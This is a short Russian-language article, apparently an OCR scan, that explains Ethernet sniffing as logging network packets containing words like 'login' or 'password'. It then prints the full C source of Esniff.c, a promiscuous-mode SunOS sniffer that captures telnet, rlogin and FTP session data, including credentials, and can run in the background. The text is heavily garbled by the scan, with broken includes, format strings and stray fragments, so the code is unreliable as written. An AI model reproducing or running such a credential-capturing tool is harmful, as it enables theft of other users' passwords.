Непонятный Ethernet Sniffing
Ethernet sniffing — это программное прослушивание пакетов с данными в сети на предмет необходимых вам команд. Как только встречается нужная комбинация слов, то последующая за этим информация записывается в журнал. Общие критерии для определения интересного пакета — наличие слов типа login или password.
Большинство программ ethernet sniffers доступны. Ниже приведен исходный текст ethernet sniffing:
Г Esniff. с •/ «include <stdio. h> «include <ctype. h> «include <string. h> «include <sys/time. h> . «include <sys/file. h>
«include <sys/stropts. h> #include <sys/signal. h> «include <sys/types. h> «include <sys/socket. h> «include <sys/ioctl. h> «include <net/if. h> «include <net/nit_if. h> «include <net/nit_buf. h> «include <net/if_arp. h> «include <netinet/in, h> «include <netinet/if_ether. h> «include <netinet/in_systm. h> «include <netinet/ip. h> «include
«include <netinet/ip_var. h> «include <netinet/udp_var. h>
«include
«include <netinet/tcp. h>
«include
«include <netdb. h> «include <arpa/inet. h> «define ERR stderr char *malloc(); char *device,
*ProgName, ♦LogName; FILE *LOG; int debug=0; «define NIT_DEV "/dev/nit"
«define CHUNKSIZE 4096 /* device buffer size */
Int if_fd = -1;
Int Packet[CHUNKSIZE+32];
Void Pexit(err, msg)
Int err; char
{ perror(msg);
Exit(err); } void Zexit(err, msg) int err; char { fprintf(ERR, msg);
Exit(err); } «define IP ((struct ip *)Packet)
«define IP_OFFSET (OxIFFF)
«define SZETH (sizeof(struct ether_header)>
«define IPLEN (ntohs(ip->ip_len))
«define IPHLEN (ip->ip_hl)
«define TCPOFF «define IPS «define IPD «define TCPS «define TCPD «define IPeq(s. t) «define TCPFL(FLAGS) «define MAXBUFLEN time_t LastTIME = 0; struct CREC {
(tcph->th_off) (ip->ip_src) (ip->ip_dst) (tcph->th_sport) (tcph->th_dport) ((s).s_addr == (t: (tcph->th_flags & 28) |
.s_addr) (FLAGS)) |
Struct CREC *Next,
/*
U_char u_int u_int
U_long LASTseq;
};
Struct CREC «CLroot = char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he =
Gethostbyaddr((char *)&ip. s_addr, sizeof(struct in_addr),AF_INET);
Return( (he)?(he->h„name): (inet_ntoa(ip)) );
}
Char *TCPflags(flgs) register u_char figs; { static jchar iobuf[8];
«define SFL(P, THF, C) icbuf[P] = ((figs & THF)?C:,-<) SFL(0,TH_FIN, 'F'); SFL(1,TH„SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf);
>
Char *SERVp(port)
•Last; Time_t Time; struct in_addr SRCip, DSTip; U_int SRCport, DSTport; Oata[MAXBUFLEN+2]; Length; PKcnt; |
/* start time */ |
/* src/dst ports */ |
Important stuff :-) */ /* current data length */ # pkts */ |
/ |
NULL; |
Register u_int port;
{ static char buf[10]; register char *p;
Switch(port) {
Case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: ' p="telnet"; break; case IPP0RT_SMTP:p="smtp"; break; case IPPORT_FTP: p="ftp"; break;
Default: sprintf(buf, "Xu",port); p=buf; break;
}
Return(p);
}
Char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYYn" */
Return(p);
}
Char *N0Wtm() { timejt tm; time(&tm); return(. Ptm(&tm) );
}
«define MAX(a. b) (((a)>(b))?(a): (b)) «define MIN(a. b) (((a)<(b))?(a):(b))
/* add an item */
«define ADD_NODE(SIP, DIP, SPORT, DPORT, DATA, LEN) { register struct CREC *CLtmp =
(struct CREC *)malloc(sizeof(struct CREC)); time( &(CLtmp->Time) ); CLtmp->SRCip. s_addr = SIP. s_addr; CLtmp->DSTip. s_addr = DIP. s_addr; CLtmp->SRCport = SPORT; CLtmp->DSTport = DPORT; CLtmp->Length = MIN(LEN, MAXBUFLEN); bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp-
>Length);
CLtmp->PKcnt = 1; CLtmp->Next = CLroot; CLtmp->Last = NULL; CLroot = CLtmp;
}
Register struct CREC *GET_NODE(Sip, SP, Dip, DP)
Register struct in_addr register u_int
{ register struct CREC *CLr = CLroot;
While(CLr!= NULL) {
Iff (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip, Sip) && IPeq(CLr->DSTip, Dip) )
Break; CLr = CLr->Next;
}
Return(CLr);
}
«define ADDDATA_NODE(CL, DATA, LEN) { bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
- CL->Length += LEN; }
«define PR_DATA(dp, In) { register u_char lastc=0; while(ln— >0) { if (*dp < 32) { switch(*dp) {
Case ' ': if((lastc=='r") || (lastc==,n') II
Lastc==' ')
Break;
Case 'n': fprintf(LOG,"n : ");
Break;
Default : fprintf(LOG,""Xc", (*dp + 64)); break;
} else { .
If(isprint(*dp)) fputc(*dp, LOG); . else fprintf(LOG,"(Xd)",*dp);
Lastc = *dp++;
Fflush(LOG);
}
Void END_NODE(CLe, d,dl, msg)
Register struct CREC *CLe; register u_char *d; register int dl;
Register char {
Fprintf(LOG,"n—TCP/IP LOG - TM: Xs ~n", Ptm(&CLe->Time)); fprintf(LOG," PATH: Xs(Xs) =>", Symaddr(CLe->SRCip),SERVp(CLe - >SRCport));
Fprintf(LOG," Xs(Xs)n"," Symaddr(CLe->DSTip), SERVp(CLe - >DSTport));
Fprintf(LOG," STAT: Xs, Xd pkts, Xd bytes [Xs]n", NOWtm(),CLe->PKcnt,(CLe->Length+dl), msg); fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_0ATA(p, i); PR_DATA(d, dl);
}
Fprintf (LOG, "n— n"); fflush(LOG); if(CLe->Next!= NULL)
CLe->Next->Last = CLe->Last; if(CLe->Last!= NULL)
CLe->Last->Next=CLe->Next; else
CLroot = CLe->Next;
Free(CLe);
}
/* 30 mins (x 60 seconds) */ «define IDLEJTIMEOUT 1800 «define IDLE_NODE() { time_t tm; time(&tm); if(LastTIME<tm) {
Register struct CREC *CLe,*CLt = CLroot; LastTIME=(tm+IDLE_TIMEOUT); tra-=IOLE_TIMEOUT; while(CLe=CLt> { CLt=CLe->Next; if(CLe->Tiine <tm)
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT");
}
Void filter(cp, pktlen) Register char *cp;
Register struct ip *ip; register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)- >ether_type);
If(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8;
}
If (EtherType!= ETHERTYPE_IP) /* chuk it if its not IP */
Return;
}
/* ugh, gotta do an alignment ;-( */ bcopy (op + SZETH, (char *)Packet, (int) (pktlen - SZETH)); ip = (struct ip *)Packet;
If( ip->ip_p!= IPPR0T0_TCP) /* chuk non tcp pkts */ return;
Tcph = (struct tcphdr *) (Packet + IPHLEN) ; if(! ( (TCPD == IPPORT. TELNET) ||
(TCPD = IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm;
Register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet;
P += ((IPHLEN * 4) + (TCPOFF * 4));
{
Fprintf(LOG,"PKT: (Xs X04X) TCPflags(tcph-
>th_flags),length);
Fprintf(LOG,"Xs[Xs] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG, "Xs[Xs]n", inet_ntoa(IPO),SERVp(TCPD));
}
Iff CLm = GET_N0DE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0)
Iff (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p, length); } else {
END_NODE( CLm, p, length, "DATA LIMIT");
}
If(TCPFL(TH_FIN|TH_RST)) {
END_NODE ( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); .}
} else {
If(TCPFL(TH_SYN)) {
ADD_NODE(IPS, IPD, TCPS, TCPD, p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
Void death()
{ register struct CREC *CLe; while(CLe=CLroot)
END_N0DE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"nLog ended at => Xsn",N0Wtm());
Fflush(LOG); if(LOG!= stdout) fclose(LOG); exit(1);
}
/* opens network interface, performs ioctls and reads from it, * passing data to filter function */
Void do_it()
{
Int cc; char *buf; u_short sp_ts_len; if(! (buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */ {
Struct strioctl si; struct ifreq instruct timeval timeout; u_int chunksize = CHUNKSIZE; u_iong if_fiags = NI_PR0MISC; if ((if_fd = open(NIT_OEV, 0_RD0NLY)) < 0)
Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I. SRDOPT, (char *)RHSGD) < 0)
Pexit(1,"Eth: ioctl (I. SRDOPT)");
=
If(ioctl(ifjd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I. PUSH V'nbuf")"); timeout. tv_sec =1;
= 0;
Si. ic_cmd = NIOCSTIME; si. ic_len = sizeof(timeout); si. ic_dp = (char *)&timeout;
If (ioctl (if_fd, I_STR, (char »)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
Si. ic_cmd = NIOCSCHUNK; =
Si. ic_dp = (char *)&chunksize;
If(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr. ifr_name, device, sizeof(ifr. ifr_name)); ifr. ifr_name[sizeof(ifr. ifr_name) - 1] = ' '; si. ic_cmd = NIOCBIND; si. ic_len = sizeof(ifr); si. ic_dp s (char *)𝔦 if (ioctl (if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
Si. ic_cmd = NIOCSFLAGS; =
Si. ic_dp = (char'*)&if_flags;
If (ioctl (if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)");
Ї
While ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0)
{
Register char *bp = buf,
*bufstop = (buf + cc);. while (bp < bufstop) {
Register char *cp = bp;
Register struct nit_bufhdг *hdrp;
Hdrp = (struct nit_bufhdr *)cp;
Cp += sizeof (struct nit_bufhdr);
Bp += hdrp->nhb_totlen;
Filter(cp, (u_long)hdrp->nhb_msglen);
}
>
Pexit((-1),"Eth: read");
}
/* Authorize your proogie, generate your own password and uncom - ment here */
/* «define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char
Char pwd[21], prmpt[81]; strcpy(pwd, AUTHPASSWD); sprintf(prmpt, "(its)UP? ", ProgName); buf=getpass(prmpt); if(strcmp(pwd, crypt(buf, pwd))) exit(1);
}
*/
Voidraain(argc, argv) int argc;
Char **argv; {
Char cbuf[BUFSIZ];
Struct ifconf ifc; int s,
Ac=1, backg=0; ProgName=argv[0]; /* getauthO; */ L0G=NULL; device=NULL;
While((ac<argc) && (argv[ac][0] == '-')) {
'register char ch = argv[ac++][1]; switch(toupper(ch)) {
Case 'I': device=argv[ac++];
Break;
Case 'F': if (! (LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1, "Output file cant be openedn");
Break;
Case 'B': backg=1;
Break;
Case 'D': debug=1;
'break; default : fprintf(ERR, "Usage: Xs [-b] [-d] [-І interface] [-f file]n", ProgName);
Exit(1);
)
>
If(ldevice) {
If((s=socket(AF_INET, SOCK. DGRAM, 0)) < 0)
Pexit(1,"Eth: socket"); ifc. ifc_.len = sizeof (cbuf) ; ifc. ifc_buf = cbuf;
If (ioctl (s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl");
Close(s);
Device = ifc. ifc_req->ifr_name;
}
Fprintf(ERR,"Using logical device Xs [Xs]n",device, NIT. DEV); fprintf(ERR,"Output to Xs. XsXs", (L0G)?LogName:"stdout", (debug)?" (debug)":"", (backg)?" Backgrounding ":"n"); if(!LOG)
L0G=stdout; signal(SIGINT, death);
SignaKSIGQUIT, death);
If(backg && debug) {
Fprintf(ERR, "[Cannot bg with debug on]n"); backg=0;
1
If(backg) {
Register int s; if ((s=fork() )>0) {
Fprintf(ERR,"[pid Xd]n",s); exit(O); ■ } else if (s<0)
Pexit(1,"fork"); if( (s=open("/dev/tty",0_RDWR))>0 ) {
Ioctl(s, TIOCNOTTY,(char *)NULL); close(s);
)
>
Fprintf (LOG, "nLog started at => Xs [pid Xd]n",N0Wtm(), get-
Do_it();
>